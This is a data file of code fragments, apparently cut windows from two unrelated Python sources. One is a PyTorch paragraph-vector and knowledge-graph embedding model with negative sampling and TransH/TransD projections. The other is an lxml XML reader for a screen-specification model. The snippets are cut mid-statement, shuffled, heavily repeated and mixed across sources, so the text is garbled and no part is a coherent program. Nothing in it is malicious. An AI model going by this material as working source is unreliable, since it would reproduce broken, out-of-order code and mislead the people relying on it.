"Words and Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid =",
"torch.no_grad(): _, _, _, _, pos, _ = self.kg_model(_, _, _, hi, ti,",
"else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape,",
"loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids:",
"Bag of Words version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of",
"torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores (unnormalized log",
"Sparse unnormalized log probabilities. The first element in each row is the ground",
"target), other elements are scores of samples from the noise distribution. \"\"\" try:",
"of size (batch_size,) Heads from golden triplets from relational graph ti: torch.Tensor of",
"paragraphs and words). num_docs: int Number of documents in a dataset. num_words: int",
"dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids,",
"d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb)",
"torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized",
"keepdim=True) * norm2 def projection_transD(original, norm): return original + torch.sum(original * norm, dim=1,",
"noise words. The first element in each row is the ground truth index",
"d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin self.delta",
"neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original",
"neg = None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e =",
"distribution. \"\"\" try: k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) +"
] |
[
"__parseComponent children = [] for n in node.getchildren(): if n.tag == 'value': selected",
"screen-spec not found') self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def",
"@author: <NAME> ''' from lxml import etree from StringIO import StringIO from screensketch.screenspec",
"Apr 12, 2013 @author: <NAME> ''' from lxml import etree from StringIO import",
"clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox,",
"component._set_static_values(values) return component def __parseValues(self, node, parent): # tag name checked in __parseComponent",
"model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root = etree.fromstring(self.input_data) self.__parseScreenSpec(root)",
"== 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported",
"= input_data self.retval = None; def __parseComponent(self, node, parent): items = node.items() if",
"ValueError('%s is an unsupported node in component tag' % n.tag) component = clazz(identifier)",
"% n.tag) component = clazz(identifier) for child in children: component.append(child) if values: component._set_static_values(values)",
"raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if",
"1 and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s",
"__parseScreen(self, node, parent): if node.tag != 'screen': raise ValueError('Tag screen-spec not found') children",
"tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag",
"node, parent): # tag name checked in __parseScreen children = [] for n",
"in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec':",
"tag' % n.tag) component = clazz(identifier) for child in children: component.append(child) if values:",
"in node.getchildren(): if n.tag == 'identifier': identifier = n.text elif n.tag == 'children':",
"else: raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node):",
"node') name = None if len(items) == 1: name = items[0][1] clazz =",
"clazz(identifier) for child in children: component.append(child) if values: component._set_static_values(values) return component def __parseValues(self,",
"if len(items) == 1 and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected))",
"'values': values = self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported node in",
"def __parseComponent(self, node, parent): items = node.items() if len(items) > 1: raise ValueError('Incorrect",
"model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None:",
"items = n.items() if len(items) == 1 and len(items[0]) == 2: selected =",
"model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table,",
"name checked in __parseComponent children = [] for n in node.getchildren(): if n.tag",
"etree from StringIO import StringIO from screensketch.screenspec import model class XMLReader(object): def __init__(self,",
"__parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval =",
"elif n.tag == 'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node in",
"node in values tag' % n.tag) return children def __parseChildren(self, node, parent): #",
"children def __parseScreen(self, node, parent): if node.tag != 'screen': raise ValueError('Tag screen-spec not",
"<NAME> ''' from lxml import etree from StringIO import StringIO from screensketch.screenspec import",
"parent): # tag name checked in __parseComponent children = [] for n in",
"'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is",
"n.items() if len(items) == 1 and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text,",
"'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen tag found')",
"__parseValues(self, node, parent): # tag name checked in __parseComponent children = [] for",
"# tag name checked in __parseComponent children = [] for n in node.getchildren():",
"self.input_data = input_data self.retval = None; def __parseComponent(self, node, parent): items = node.items()",
"node, parent): # tag name checked in __parseComponent children = [] for n",
"n.tag == 'name': name = n.text elif n.tag == 'children': children = self.__parseChildren(n,",
"name checked in __parseScreen children = [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent))",
"for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent): if",
"unsupported type of component' % name) children = [] values = [] for",
"== 'identifier': identifier = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent)",
"in __parseScreen children = [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children",
"parent): if node.tag != 'screen': raise ValueError('Tag screen-spec not found') children = []",
"not found') self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self):",
"if node.tag != 'screen': raise ValueError('Tag screen-spec not found') children = [] for",
"name = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) else: raise",
"if len(items) > 1: raise ValueError('Incorrect data in component node') name = None",
"input_data self.retval = None; def __parseComponent(self, node, parent): items = node.items() if len(items)",
"len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an",
"node in component tag' % n.tag) component = clazz(identifier) for child in children:",
"component node') name = None if len(items) == 1: name = items[0][1] clazz",
"component.append(child) if values: component._set_static_values(values) return component def __parseValues(self, node, parent): # tag name",
"tag name checked in __parseScreen children = [] for n in node.getchildren(): children.append(self.__parseComponent(n,",
"parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not",
"'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT':",
"return children def __parseScreen(self, node, parent): if node.tag != 'screen': raise ValueError('Tag screen-spec",
"self.retval = None; def __parseComponent(self, node, parent): items = node.items() if len(items) >",
"'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE':",
"clazz is None: raise ValueError('%s is an unsupported type of component' % name)",
"2013 @author: <NAME> ''' from lxml import etree from StringIO import StringIO from",
"component tag' % n.tag) component = clazz(identifier) for child in children: component.append(child) if",
"name) children = [] values = [] for n in node.getchildren(): if n.tag",
"child in children: component.append(child) if values: component._set_static_values(values) return component def __parseValues(self, node, parent):",
"[] values = [] for n in node.getchildren(): if n.tag == 'identifier': identifier",
"'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE':",
"node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for n",
"== 'children': children = self.__parseChildren(n, parent) elif n.tag == 'values': values = self.__parseValues(n,",
"in node.getchildren(): if n.tag == 'value': selected = False items = n.items() if",
"an unsupported node in component tag' % n.tag) component = clazz(identifier) for child",
"an unsupported type of component' % name) children = [] values = []",
"component = clazz(identifier) for child in children: component.append(child) if values: component._set_static_values(values) return component",
"in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent): if node.tag !=",
"for n in node.getchildren(): if n.tag == 'value': selected = False items =",
"if n.tag == 'identifier': identifier = n.text elif n.tag == 'children': children =",
"children = [] values = [] for n in node.getchildren(): if n.tag ==",
"children = [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self,",
"'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON':",
"== 'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen tag",
"parent): # tag name checked in __parseScreen children = [] for n in",
"is an unsupported type of component' % name) children = [] values =",
"data in component node') name = None if len(items) == 1: name =",
"node.tag != 'screen': raise ValueError('Tag screen-spec not found') children = [] for n",
"'screen-spec': raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for n in node.getchildren():",
"items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported node in values tag'",
"selected)) else: raise ValueError('%s is an unsupported node in values tag' % n.tag)",
"__init__(self, input_data): self.input_data = input_data self.retval = None; def __parseComponent(self, node, parent): items",
"of component' % name) children = [] values = [] for n in",
"== 'value': selected = False items = n.items() if len(items) == 1 and",
"from screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval",
"'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX':",
"found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec",
"__parseComponent(self, node, parent): items = node.items() if len(items) > 1: raise ValueError('Incorrect data",
"for n in node.getchildren(): if n.tag == 'name': name = n.text elif n.tag",
"model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea,",
"children: component.append(child) if values: component._set_static_values(values) return component def __parseValues(self, node, parent): # tag",
"model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz",
"selected = False items = n.items() if len(items) == 1 and len(items[0]) ==",
"2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported node",
"children def __parseChildren(self, node, parent): # tag name checked in __parseScreen children =",
"model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image,",
"parent) else: raise ValueError('%s is an unsupported node in component tag' % n.tag)",
"''' Created on Apr 12, 2013 @author: <NAME> ''' from lxml import etree",
"__parseChildren(self, node, parent): # tag name checked in __parseScreen children = [] for",
"= n.items() if len(items) == 1 and len(items[0]) == 2: selected = items[0][1]",
"= items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported node in values",
"on Apr 12, 2013 @author: <NAME> ''' from lxml import etree from StringIO",
"model.TextArea, }.get(name, model.Entity) if clazz is None: raise ValueError('%s is an unsupported type",
"'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD':",
"'children': children = self.__parseChildren(n, parent) elif n.tag == 'values': values = self.__parseValues(n, parent)",
"XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval = None; def __parseComponent(self, node,",
"'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name,",
"n in node.getchildren(): if n.tag == 'name': name = n.text elif n.tag ==",
"component' % name) children = [] values = [] for n in node.getchildren():",
"'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK':",
"identifier = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) elif n.tag",
"[] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent):",
"model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText,",
"if len(items) == 1: name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON':",
"= self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported node in component tag'",
"'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None: raise ValueError('%s is an unsupported",
"'screen': raise ValueError('Tag screen-spec not found') children = [] for n in node.getchildren():",
"checked in __parseComponent children = [] for n in node.getchildren(): if n.tag ==",
"in node.getchildren(): if n.tag == 'name': name = n.text elif n.tag == 'children':",
"= False items = n.items() if len(items) == 1 and len(items[0]) == 2:",
"an unsupported node in values tag' % n.tag) return children def __parseChildren(self, node,",
"model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox,",
"= None if len(items) == 1: name = items[0][1] clazz = { 'EDIT_BOX':",
"in component tag' % n.tag) component = clazz(identifier) for child in children: component.append(child)",
"children = [] for n in node.getchildren(): if n.tag == 'value': selected =",
"model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password,",
"if n.tag == 'name': name = n.text elif n.tag == 'children': children =",
"node.getchildren(): if n.tag == 'name': name = n.text elif n.tag == 'children': children",
"None if len(items) == 1: name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox,",
"screen-spec not found') children = [] for n in node.getchildren(): if n.tag ==",
"node in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag !=",
"'name': name = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) else:",
"% name) children = [] values = [] for n in node.getchildren(): if",
"model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link,",
"name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES':",
"n.tag == 'children': children = self.__parseChildren(n, parent) elif n.tag == 'values': values =",
"model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons,",
"values tag' % n.tag) return children def __parseChildren(self, node, parent): # tag name",
"and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is",
"node.getchildren(): if n.tag == 'value': selected = False items = n.items() if len(items)",
"model class XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval = None; def",
"> 1: raise ValueError('Incorrect data in component node') name = None if len(items)",
"n.tag) return children def __parseChildren(self, node, parent): # tag name checked in __parseScreen",
"is None: raise ValueError('%s is an unsupported type of component' % name) children",
"children = [] for n in node.getchildren(): if n.tag == 'name': name =",
"[] for n in node.getchildren(): if n.tag == 'name': name = n.text elif",
"% n.tag) return children def __parseChildren(self, node, parent): # tag name checked in",
"'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if",
"n.tag) component = clazz(identifier) for child in children: component.append(child) if values: component._set_static_values(values) return",
"return component def __parseValues(self, node, parent): # tag name checked in __parseComponent children",
"= { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT':",
"12, 2013 @author: <NAME> ''' from lxml import etree from StringIO import StringIO",
"__parseScreen children = [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def",
"== 1 and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise",
"for n in node.getchildren(): if n.tag == 'identifier': identifier = n.text elif n.tag",
"name = None if len(items) == 1: name = items[0][1] clazz = {",
"if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for",
"'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None: raise",
"raise ValueError('%s is an unsupported node in values tag' % n.tag) return children",
"1: name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox,",
"in __parseComponent children = [] for n in node.getchildren(): if n.tag == 'value':",
"raise ValueError('%s is an unsupported node in component tag' % n.tag) component =",
"node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec()",
"node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent): if node.tag != 'screen':",
"'identifier': identifier = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) elif",
"items = node.items() if len(items) > 1: raise ValueError('Incorrect data in component node')",
"n in node.getchildren(): if n.tag == 'identifier': identifier = n.text elif n.tag ==",
"import etree from StringIO import StringIO from screensketch.screenspec import model class XMLReader(object): def",
"ValueError('Incorrect data in component node') name = None if len(items) == 1: name",
"else: raise ValueError('%s is an unsupported node in component tag' % n.tag) component",
"ValueError('Tag screen-spec not found') children = [] for n in node.getchildren(): if n.tag",
"component def __parseValues(self, node, parent): # tag name checked in __parseComponent children =",
"n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root = etree.fromstring(self.input_data) self.__parseScreenSpec(root) return self.retval",
"= node.items() if len(items) > 1: raise ValueError('Incorrect data in component node') name",
"n.tag == 'value': selected = False items = n.items() if len(items) == 1",
"ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag",
"for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root = etree.fromstring(self.input_data) self.__parseScreenSpec(root) return",
"found') children = [] for n in node.getchildren(): if n.tag == 'name': name",
"screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise",
"'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None: raise ValueError('%s is",
"is an unsupported node in values tag' % n.tag) return children def __parseChildren(self,",
"None; def __parseComponent(self, node, parent): items = node.items() if len(items) > 1: raise",
"raise ValueError('Incorrect data in component node') name = None if len(items) == 1:",
"self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported node in component tag' %",
"len(items) > 1: raise ValueError('Incorrect data in component node') name = None if",
"children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported node in values tag' %",
"= [] values = [] for n in node.getchildren(): if n.tag == 'identifier':",
"ValueError('%s is an unsupported node in values tag' % n.tag) return children def",
"n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node",
"= n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) elif n.tag ==",
"model.Entity) if clazz is None: raise ValueError('%s is an unsupported type of component'",
"len(items) == 1: name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button,",
"ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval)",
"lxml import etree from StringIO import StringIO from screensketch.screenspec import model class XMLReader(object):",
"is an unsupported node in component tag' % n.tag) component = clazz(identifier) for",
"screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval =",
"if values: component._set_static_values(values) return component def __parseValues(self, node, parent): # tag name checked",
"def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval",
"input_data): self.input_data = input_data self.retval = None; def __parseComponent(self, node, parent): items =",
"in values tag' % n.tag) return children def __parseChildren(self, node, parent): # tag",
"checked in __parseScreen children = [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return",
"1: raise ValueError('Incorrect data in component node') name = None if len(items) ==",
"model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None: raise ValueError('%s",
"items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX':",
"= model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root = etree.fromstring(self.input_data)",
"type of component' % name) children = [] values = [] for n",
"return children def __parseChildren(self, node, parent): # tag name checked in __parseScreen children",
"= clazz(identifier) for child in children: component.append(child) if values: component._set_static_values(values) return component def",
"parent) elif n.tag == 'values': values = self.__parseValues(n, parent) else: raise ValueError('%s is",
"'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS':",
"= n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown",
"'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX':",
"len(items) == 1 and len(items[0]) == 2: selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else:",
"self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root =",
"def __parseChildren(self, node, parent): # tag name checked in __parseScreen children = []",
"!= 'screen-spec': raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for n in",
"from StringIO import StringIO from screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data):",
"else: raise ValueError('%s is an unsupported node in values tag' % n.tag) return",
"parent)) return children def __parseScreen(self, node, parent): if node.tag != 'screen': raise ValueError('Tag",
"elif n.tag == 'children': children = self.__parseChildren(n, parent) elif n.tag == 'values': values",
"def __parseScreen(self, node, parent): if node.tag != 'screen': raise ValueError('Tag screen-spec not found')",
"values: component._set_static_values(values) return component def __parseValues(self, node, parent): # tag name checked in",
"n in node.getchildren(): if n.tag == 'value': selected = False items = n.items()",
"n.tag == 'values': values = self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported",
"import model class XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval = None;",
"StringIO import StringIO from screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data): self.input_data",
"n.tag == 'children': children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen",
"model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple,",
"'value': selected = False items = n.items() if len(items) == 1 and len(items[0])",
"[] for n in node.getchildren(): if n.tag == 'identifier': identifier = n.text elif",
"node.getchildren(): if n.tag == 'identifier': identifier = n.text elif n.tag == 'children': children",
"= items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes,",
"in children: component.append(child) if values: component._set_static_values(values) return component def __parseValues(self, node, parent): #",
"}.get(name, model.Entity) if clazz is None: raise ValueError('%s is an unsupported type of",
"elif n.tag == 'values': values = self.__parseValues(n, parent) else: raise ValueError('%s is an",
"== 'values': values = self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported node",
"model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity) if clazz is None: raise ValueError('%s is an",
"self.__parseChildren(n, parent) elif n.tag == 'values': values = self.__parseValues(n, parent) else: raise ValueError('%s",
"model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox, 'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton,",
"ValueError('%s is an unsupported type of component' % name) children = [] values",
"raise ValueError('Tag screen-spec not found') self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n,",
"model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA': model.TextArea, }.get(name, model.Entity)",
"children = self.__parseChildren(n, parent) elif n.tag == 'values': values = self.__parseValues(n, parent) else:",
"raise ValueError('Tag screen-spec not found') children = [] for n in node.getchildren(): if",
"= self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children))",
"unsupported node in component tag' % n.tag) component = clazz(identifier) for child in",
"= None; def __parseComponent(self, node, parent): items = node.items() if len(items) > 1:",
"values = self.__parseValues(n, parent) else: raise ValueError('%s is an unsupported node in component",
"tag name checked in __parseComponent children = [] for n in node.getchildren(): if",
"== 1: name = items[0][1] clazz = { 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX':",
"import StringIO from screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data): self.input_data =",
"raise ValueError('%s is an unsupported type of component' % name) children = []",
"tag' % n.tag) return children def __parseChildren(self, node, parent): # tag name checked",
"children)) def __parseScreenSpec(self, node): if node.tag != 'screen-spec': raise ValueError('Tag screen-spec not found')",
"node, parent): if node.tag != 'screen': raise ValueError('Tag screen-spec not found') children =",
"values = [] for n in node.getchildren(): if n.tag == 'identifier': identifier =",
"!= 'screen': raise ValueError('Tag screen-spec not found') children = [] for n in",
"'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE':",
"''' from lxml import etree from StringIO import StringIO from screensketch.screenspec import model",
"= [] for n in node.getchildren(): if n.tag == 'value': selected = False",
"children = self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name,",
"= [] for n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node,",
"not found') children = [] for n in node.getchildren(): if n.tag == 'name':",
"[] for n in node.getchildren(): if n.tag == 'value': selected = False items",
"== 'name': name = n.text elif n.tag == 'children': children = self.__parseChildren(n, parent)",
"parent) else: raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children)) def __parseScreenSpec(self,",
"Created on Apr 12, 2013 @author: <NAME> ''' from lxml import etree from",
"self.__parseChildren(n, parent) else: raise ValueError('Unknown node in screen tag found') parent.append(model.Screen(name, children)) def",
"model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List,",
"node.items() if len(items) > 1: raise ValueError('Incorrect data in component node') name =",
"selected = items[0][1] children.append(model.StaticValue(n.text, selected)) else: raise ValueError('%s is an unsupported node in",
"found') self.retval = model.ScreenSpec() for n in node.getchildren(): self.__parseScreen(n, self.retval) def execute(self): root",
"from lxml import etree from StringIO import StringIO from screensketch.screenspec import model class",
"None: raise ValueError('%s is an unsupported type of component' % name) children =",
"= [] for n in node.getchildren(): if n.tag == 'identifier': identifier = n.text",
"if n.tag == 'value': selected = False items = n.items() if len(items) ==",
"children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent): if node.tag != 'screen': raise",
